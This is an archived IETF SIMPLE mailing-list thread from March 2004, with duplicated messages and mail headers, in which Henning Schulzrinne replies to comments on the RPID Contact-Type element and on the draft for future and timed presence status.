Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id IAA06341
	for <simple-web-archive@ietf.org>; Fri, 5 Mar 2004 08:15:39 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AzFAy-0006To-00
	for simple-web-archive@ietf.org; Fri, 05 Mar 2004 08:15:40 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AzFA1-0006Io-00
	for simple-web-archive@ietf.org; Fri, 05 Mar 2004 08:14:41 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AzF9T-00067l-00; Fri, 05 Mar 2004 08:14:07 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AzF9N-0002hW-05; Fri, 05 Mar 2004 08:14:01 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AzF8u-0002gX-NT
	for simple@optimus.ietf.org; Fri, 05 Mar 2004 08:13:32 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id IAA06243
	for <simple@ietf.org>; Fri, 5 Mar 2004 08:13:31 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AzF8t-00065m-00
	for simple@ietf.org; Fri, 05 Mar 2004 08:13:31 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AzF7v-0005uO-00
	for simple@ietf.org; Fri, 05 Mar 2004 08:12:31 -0500
Received: from pecan.cc.columbia.edu ([128.59.59.178] ident=cu41754)
	by ietf-mx with esmtp (Exim 4.12)
	id 1AzF70-0005jl-00
	for simple@ietf.org; Fri, 05 Mar 2004 08:11:34 -0500
Received: from cs.columbia.edu ([211.229.237.90])
	(user=hgs10 mech=PLAIN bits=0)
	by pecan.cc.columbia.edu (8.12.11/8.12.11) with ESMTP id i25DAbwn028521
	(version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT);
	Fri, 5 Mar 2004 08:11:10 -0500 (EST)
Message-ID: <40487C42.3030408@cs.columbia.edu>
From: Henning Schulzrinne <hgs@cs.columbia.edu>
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.6a) Gecko/20031030
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: Paul Kyzivat <pkyzivat@cisco.com>
CC: Jonathan Rosenberg <jdrosen@dynamicsoft.com>, Simple WG <simple@ietf.org>
Subject: Re: [Simple] Comments on draft-ietf-simple-future
References: <4041D501.6040906@dynamicsoft.com> <4042A88A.1070109@cisco.com>
In-Reply-To: <4042A88A.1070109@cisco.com>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-No-Spam-Score: Local
X-Scanned-By: MIMEDefang 2.39
Content-Transfer-Encoding: 7bit
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Fri, 05 Mar 2004 08:10:26 -0500
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.0 required=5.0 tests=none autolearn=no version=2.60
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit

Paul Kyzivat wrote:

>> I think you mean <tuple> elements. In any case, this text is not quite 
>> right. You are in fact extending <tuple> with an optional extension, 
>> <future-status>. What I think you mean is that you cannot just extend 
>> an existing element, like <activity>, with attributes that define the 
>> future status, because these would not be understood and thus 
>> misinterpreted as current status.
> 
> 
> Not only can't, but don't want to. The goal is to provide a way to use 
> all the normal attributes that define current status to define future 
> status as well. So the goal is to provide a separate context in which 
> the existing elements may be used where they won't be misunderstood by 
> those who don't understand this extension.

I clarified the wording (I hope).


_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple



From simple-admin@ietf.org  Fri Mar  5 08:35:47 2004
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id IAA07826
	for <simple-archive@ietf.org>; Fri, 5 Mar 2004 08:35:46 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AzFUR-0003Uo-00
	for simple-archive@ietf.org; Fri, 05 Mar 2004 08:35:47 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AzFTL-0003B7-00
	for simple-archive@ietf.org; Fri, 05 Mar 2004 08:34:40 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AzFRp-0002el-00; Fri, 05 Mar 2004 08:33:05 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AzFRm-0004G7-ED; Fri, 05 Mar 2004 08:33:02 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AzFR0-0004Dn-DW
	for simple@optimus.ietf.org; Fri, 05 Mar 2004 08:32:14 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id IAA07396
	for <simple@ietf.org>; Fri, 5 Mar 2004 08:32:12 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AzFQz-0002OL-00
	for simple@ietf.org; Fri, 05 Mar 2004 08:32:13 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AzFPp-00022v-00
	for simple@ietf.org; Fri, 05 Mar 2004 08:31:01 -0500
Received: from pecan.cc.columbia.edu ([128.59.59.178] ident=cu41754)
	by ietf-mx with esmtp (Exim 4.12)
	id 1AzFOT-0001hZ-00
	for simple@ietf.org; Fri, 05 Mar 2004 08:29:37 -0500
Received: from cs.columbia.edu ([211.229.237.90])
	(user=hgs10 mech=PLAIN bits=0)
	by pecan.cc.columbia.edu (8.12.11/8.12.11) with ESMTP id i25DTXiJ000282
	(version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT);
	Fri, 5 Mar 2004 08:29:35 -0500 (EST)
Message-ID: <404880BC.7020906@cs.columbia.edu>
From: Henning Schulzrinne <hgs@cs.columbia.edu>
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.6a) Gecko/20031030
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: Jonathan Rosenberg <jdrosen@dynamicsoft.com>
CC: Simple WG <simple@ietf.org>
Subject: Re: [Simple] Comments on draft-ietf-simple-future
References: <4041D501.6040906@dynamicsoft.com>
In-Reply-To: <4041D501.6040906@dynamicsoft.com>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-No-Spam-Score: Local
X-Scanned-By: MIMEDefang 2.39
Content-Transfer-Encoding: 7bit
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Fri, 05 Mar 2004 08:29:32 -0500
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.0 required=5.0 tests=none autolearn=no version=2.60
Content-Transfer-Encoding: 7bit

Thanks for your comments. I think I addressed all of them; brief remarks 
in-line.

Jonathan Rosenberg wrote:

> 
> I think you need to be a bit more specific here about the procedure that 
> is to be followed. Furthermore, I think that a sanity check on time sync 
> should be more than just "advice to implementors", and rather should be 
> SHOULD strength.

SHOULD and a bit more checking detail added, although I can't think of 
anything beyond the notification timestamp, making sure that the time 
range is not spanning the present and that it is outside the range in 
the <timestamp> PIDF element.

> 
> 
> 
> Unfortunately, the nature of the schemas is that the new one cannot say 
> where in the PIDF document this is supposed to go. You need to specify 
> that this element MUST be a child of <tuple>. Also, can you have more 
> than one (I think so)? In that case, can they represent overlapping 
> times (I think so)?

Added verbiage that senders of timed-status are to avoid overlapping 
elements, that this isn't always possible but that receivers MUST be 
able to handle this.


> 
> Also, the schema does not indicate any specific RPID elements which can 
> sensibly included within future-status. I think those should be defined 
> here by referencing them in the future-status schema from the rpid 
> schema. Indeed, presumably any PIDF extension that can appear within 
> <status> can also appear within <future-status>; you should probably 
> mention that. Some, I suspect, won't be that useful practically speaking 
> (for example, <relationship>), and the text should probably give some 
> guidance about that.

<relationship> should be a tuple element, I think. I'm not sure whether 
I should enumerate all the RPID elements that don't make sense. Even 
idle can be construed to be useful, for example, if a compositor has 
only old information from a device, including the last idle time. I have 
noted, by example, that CIPID is not useful.

As a side note, maybe the usefulness in timed-status is a good 
indication that something really extends <tuple> not <status>.
> 
> 
> Thanks,
> Jonathan R.
> 


_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple


From exim@www1.ietf.org  Fri Mar  5 08:36:18 2004
Received: from optimus.ietf.org (optimus.ietf.org [132.151.1.19])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id IAA07863
	for <simple-archive@odin.ietf.org>; Fri, 5 Mar 2004 08:36:18 -0500 (EST)
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AzFUT-0004mh-Mb
	for simple-archive@odin.ietf.org; Fri, 05 Mar 2004 08:35:49 -0500
Received: (from exim@localhost)
	by www1.ietf.org (8.12.8/8.12.8/Submit) id i25DZnvE018392
	for simple-archive@odin.ietf.org; Fri, 5 Mar 2004 08:35:49 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AzFUT-0004mZ-HA
	for simple-web-archive@optimus.ietf.org; Fri, 05 Mar 2004 08:35:49 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id IAA07840
	for <simple-web-archive@ietf.org>; Fri, 5 Mar 2004 08:35:47 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AzFUS-0003Ut-00
	for simple-web-archive@ietf.org; Fri, 05 Mar 2004 08:35:48 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AzFTM-0003BK-00
	for simple-web-archive@ietf.org; Fri, 05 Mar 2004 08:34:41 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AzFRp-0002el-00; Fri, 05 Mar 2004 08:33:05 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AzFRm-0004G7-ED; Fri, 05 Mar 2004 08:33:02 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AzFR0-0004Dn-DW
	for simple@optimus.ietf.org; Fri, 05 Mar 2004 08:32:14 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id IAA07396
	for <simple@ietf.org>; Fri, 5 Mar 2004 08:32:12 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AzFQz-0002OL-00
	for simple@ietf.org; Fri, 05 Mar 2004 08:32:13 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AzFPp-00022v-00
	for simple@ietf.org; Fri, 05 Mar 2004 08:31:01 -0500
Received: from pecan.cc.columbia.edu ([128.59.59.178] ident=cu41754)
	by ietf-mx with esmtp (Exim 4.12)
	id 1AzFOT-0001hZ-00
	for simple@ietf.org; Fri, 05 Mar 2004 08:29:37 -0500
Received: from cs.columbia.edu ([211.229.237.90])
	(user=hgs10 mech=PLAIN bits=0)
	by pecan.cc.columbia.edu (8.12.11/8.12.11) with ESMTP id i25DTXiJ000282
	(version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT);
	Fri, 5 Mar 2004 08:29:35 -0500 (EST)
Message-ID: <404880BC.7020906@cs.columbia.edu>
From: Henning Schulzrinne <hgs@cs.columbia.edu>
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.6a) Gecko/20031030
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: Jonathan Rosenberg <jdrosen@dynamicsoft.com>
CC: Simple WG <simple@ietf.org>
Subject: Re: [Simple] Comments on draft-ietf-simple-future
References: <4041D501.6040906@dynamicsoft.com>
In-Reply-To: <4041D501.6040906@dynamicsoft.com>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-No-Spam-Score: Local
X-Scanned-By: MIMEDefang 2.39
Content-Transfer-Encoding: 7bit
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Fri, 05 Mar 2004 08:29:32 -0500
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.0 required=5.0 tests=none autolearn=no version=2.60
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit

Thanks for your comments. I think I addressed all of them; brief remarks 
in-line.

Jonathan Rosenberg wrote:

> 
> I think you need to be a bit more specific here about the procedure that 
> is to be followed. Furthermore, I think that a sanity check on time sync 
> should be more than just "advice to implementors", and rather should be 
> SHOULD strength.

SHOULD and a bit more checking detail added, although I can't think of 
anything beyond the notification timestamp, making sure that the time 
range is not spanning the present and that it is outside the range in 
the <timestamp> PIDF element.

> 
> 
> 
> Unfortunately, the nature of the schemas is that the new one cannot say 
> where in the PIDF document this is supposed to go. You need to specify 
> that this element MUST be a child of <tuple>. Also, can you have more 
> than one (I think so)? In that case, can they represent overlapping 
> times (I think so)?

Added verbiage that senders of timed-status are to avoid overlapping 
elements, that this isn't always possible but that receivers MUST be 
able to handle this.


> 
> Also, the schema does not indicate any specific RPID elements which can 
> sensibly included within future-status. I think those should be defined 
> here by referencing them in the future-status schema from the rpid 
> schema. Indeed, presumably any PIDF extension that can appear within 
> <status> can also appear within <future-status>; you should probably 
> mention that. Some, I suspect, won't be that useful practically speaking 
> (for example, <relationship>), and the text should probably give some 
> guidance about that.

<relationship> should be a tuple element, I think. I'm not sure whether 
I should enumerate all the RPID elements that don't make sense. Even 
idle can be construed to be useful, for example, if a compositor has 
only old information from a device, including the last idle time. I have 
noted, by example, that CIPID is not useful.

As a side note, maybe the usefulness in timed-status is a good 
indication that something really extends <tuple> not <status>.
> 
> 
> Thanks,
> Jonathan R.
> 


_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple



From simple-admin@ietf.org  Fri Mar  5 22:13:01 2004
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id WAA14131
	for <simple-archive@ietf.org>; Fri, 5 Mar 2004 22:13:01 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AzSFJ-0005hx-00
	for simple-archive@ietf.org; Fri, 05 Mar 2004 22:13:01 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AzSEN-0005Ys-00
	for simple-archive@ietf.org; Fri, 05 Mar 2004 22:12:04 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AzSDV-0005Qb-00; Fri, 05 Mar 2004 22:11:09 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AzSDO-0007fn-K5; Fri, 05 Mar 2004 22:11:02 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AzSCg-0007dn-Fc
	for simple@optimus.ietf.org; Fri, 05 Mar 2004 22:10:18 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id WAA14083
	for <simple@ietf.org>; Fri, 5 Mar 2004 22:10:15 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AzSCd-0005HV-00
	for simple@ietf.org; Fri, 05 Mar 2004 22:10:15 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AzSBY-00058F-00
	for simple@ietf.org; Fri, 05 Mar 2004 22:09:08 -0500
Received: from pecan.cc.columbia.edu ([128.59.59.178] ident=cu41754)
	by ietf-mx with esmtp (Exim 4.12)
	id 1AzSBJ-0004zB-00
	for simple@ietf.org; Fri, 05 Mar 2004 22:08:53 -0500
Received: from cs.columbia.edu ([211.229.237.90])
	(user=hgs10 mech=PLAIN bits=0)
	by pecan.cc.columbia.edu (8.12.11/8.12.11) with ESMTP id i2638mkk025470
	(version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT);
	Fri, 5 Mar 2004 22:08:50 -0500 (EST)
Message-ID: <404940C0.9040505@cs.columbia.edu>
From: Henning Schulzrinne <hgs@cs.columbia.edu>
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.6a) Gecko/20031030
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: Jonathan Rosenberg <jdrosen@dynamicsoft.com>
CC: Simple WG <simple@ietf.org>
Subject: Re: [Simple] draft-ietf-simple-rpid - Contact-Type
References: <4041F046.7050207@dynamicsoft.com>
In-Reply-To: <4041F046.7050207@dynamicsoft.com>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-No-Spam-Score: Local
X-Scanned-By: MIMEDefang 2.39
Content-Transfer-Encoding: 7bit
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Fri, 05 Mar 2004 22:08:48 -0500
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.0 required=5.0 tests=none autolearn=no version=2.60
Content-Transfer-Encoding: 7bit

Jonathan Rosenberg wrote:

>> Contact-Type Element
>>
>>    The <contacttype> element describes the type of the tuple.  A tuple
>>    can represent a communication facility ("device"), a face-to-face
>>    communication tuple ("in-person"), a set of devices offering a common
>>    service ("service"), or a whole presentity ("presentity").
>>    Additional types can be registered with IANA.
> 
> 
> some of the rpid information only makes sense in one type of tuple or 
> another (for example, sphere only makes sense for a tuple that 
> represents a presentity, IMHO). Do we want to say, for each rpid 
> element, for which it applies? Not sure if we want to go there in this 
> doc, but I see it as a looming interop problem..

 From what I can tell, all of them (except <idle>) really make sense 
only for presentity and in-person, if you're strict about this. However, 
since a presentity may only export a device view, i.e., an enumeration 
of a bunch of contact-type=device tuples, it would then be impossible to 
convey RPID information. Another aspect is that often, it is one device 
that knows this information (e.g., that has a calender interface).

Thus, I don't see how restricting this helps much. The only solutions I 
can see are:

(1) Allow use as extensions of <presence>, not <status>. This makes some 
sense as this information does apply to the whole presentity, but 
doesn't work well if multiple tuples are presentities (secretary, 
principal).

(2) Variation of (1): allow both, but only in <tuple> if tuple is 
contact-type 'in-person' or 'presentity' and has a relationship.

(3) Not worry about it: the UI simply takes all the information about 
the devices or services and presents them either with one device (to 
indicate their source) or the union of them for the presentity.

(3) is probably expedient, (2) the better data model. I'd like feedback 
on this, as it is a major design decision.

Henning

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple


From exim@www1.ietf.org  Fri Mar  5 22:13:32 2004
Received: from optimus.ietf.org (optimus.ietf.org [132.151.1.19])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id WAA14152
	for <simple-archive@odin.ietf.org>; Fri, 5 Mar 2004 22:13:32 -0500 (EST)
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AzSFN-0007r1-Lu
	for simple-archive@odin.ietf.org; Fri, 05 Mar 2004 22:13:05 -0500
Received: (from exim@localhost)
	by www1.ietf.org (8.12.8/8.12.8/Submit) id i263D52g030185
	for simple-archive@odin.ietf.org; Fri, 5 Mar 2004 22:13:05 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AzSFN-0007qm-Gs
	for simple-web-archive@optimus.ietf.org; Fri, 05 Mar 2004 22:13:05 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id WAA14147
	for <simple-web-archive@ietf.org>; Fri, 5 Mar 2004 22:13:01 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AzSFK-0005i2-00
	for simple-web-archive@ietf.org; Fri, 05 Mar 2004 22:13:02 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AzSEO-0005Yz-00
	for simple-web-archive@ietf.org; Fri, 05 Mar 2004 22:12:05 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AzSDV-0005Qb-00; Fri, 05 Mar 2004 22:11:09 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AzSDO-0007fn-K5; Fri, 05 Mar 2004 22:11:02 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AzSCg-0007dn-Fc
	for simple@optimus.ietf.org; Fri, 05 Mar 2004 22:10:18 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id WAA14083
	for <simple@ietf.org>; Fri, 5 Mar 2004 22:10:15 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AzSCd-0005HV-00
	for simple@ietf.org; Fri, 05 Mar 2004 22:10:15 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AzSBY-00058F-00
	for simple@ietf.org; Fri, 05 Mar 2004 22:09:08 -0500
Received: from pecan.cc.columbia.edu ([128.59.59.178] ident=cu41754)
	by ietf-mx with esmtp (Exim 4.12)
	id 1AzSBJ-0004zB-00
	for simple@ietf.org; Fri, 05 Mar 2004 22:08:53 -0500
Received: from cs.columbia.edu ([211.229.237.90])
	(user=hgs10 mech=PLAIN bits=0)
	by pecan.cc.columbia.edu (8.12.11/8.12.11) with ESMTP id i2638mkk025470
	(version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT);
	Fri, 5 Mar 2004 22:08:50 -0500 (EST)
Message-ID: <404940C0.9040505@cs.columbia.edu>
From: Henning Schulzrinne <hgs@cs.columbia.edu>
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.6a) Gecko/20031030
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: Jonathan Rosenberg <jdrosen@dynamicsoft.com>
CC: Simple WG <simple@ietf.org>
Subject: Re: [Simple] draft-ietf-simple-rpid - Contact-Type
References: <4041F046.7050207@dynamicsoft.com>
In-Reply-To: <4041F046.7050207@dynamicsoft.com>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-No-Spam-Score: Local
X-Scanned-By: MIMEDefang 2.39
Content-Transfer-Encoding: 7bit
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Fri, 05 Mar 2004 22:08:48 -0500
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.0 required=5.0 tests=none autolearn=no version=2.60
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit

Jonathan Rosenberg wrote:

>> Contact-Type Element
>>
>>    The <contacttype> element describes the type of the tuple.  A tuple
>>    can represent a communication facility ("device"), a face-to-face
>>    communication tuple ("in-person"), a set of devices offering a common
>>    service ("service"), or a whole presentity ("presentity").
>>    Additional types can be registered with IANA.
> 
> 
> some of the rpid information only makes sense in one type of tuple or 
> another (for example, sphere only makes sense for a tuple that 
> represents a presentity, IMHO). Do we want to say, for each rpid 
> element, for which it applies? Not sure if we want to go there in this 
> doc, but I see it as a looming interop problem..

 From what I can tell, all of them (except <idle>) really make sense 
only for presentity and in-person, if you're strict about this. However, 
since a presentity may only export a device view, i.e., an enumeration 
of a bunch of contact-type=device tuples, it would then be impossible to 
convey RPID information. Another aspect is that often, it is one device 
that knows this information (e.g., that has a calender interface).

Thus, I don't see how restricting this helps much. The only solutions I 
can see are:

(1) Allow use as extensions of <presence>, not <status>. This makes some 
sense as this information does apply to the whole presentity, but 
doesn't work well if multiple tuples are presentities (secretary, 
principal).

(2) Variation of (1): allow both, but only in <tuple> if tuple is 
contact-type 'in-person' or 'presentity' and has a relationship.

(3) Not worry about it: the UI simply takes all the information about 
the devices or services and presents them either with one device (to 
indicate their source) or the union of them for the presentity.

(3) is probably expedient, (2) the better data model. I'd like feedback 
on this, as it is a major design decision.

Henning

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple



From simple-admin@ietf.org  Sat Mar  6 18:57:03 2004
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id SAA11317
	for <simple-archive@ietf.org>; Sat, 6 Mar 2004 18:57:03 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AzlfF-0001YE-00
	for simple-archive@ietf.org; Sat, 06 Mar 2004 18:57:05 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AzleL-0001P1-00
	for simple-archive@ietf.org; Sat, 06 Mar 2004 18:56:10 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AzldP-0001Fv-00; Sat, 06 Mar 2004 18:55:11 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AzldI-0003UR-F9; Sat, 06 Mar 2004 18:55:04 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AzlcJ-0003OL-A5
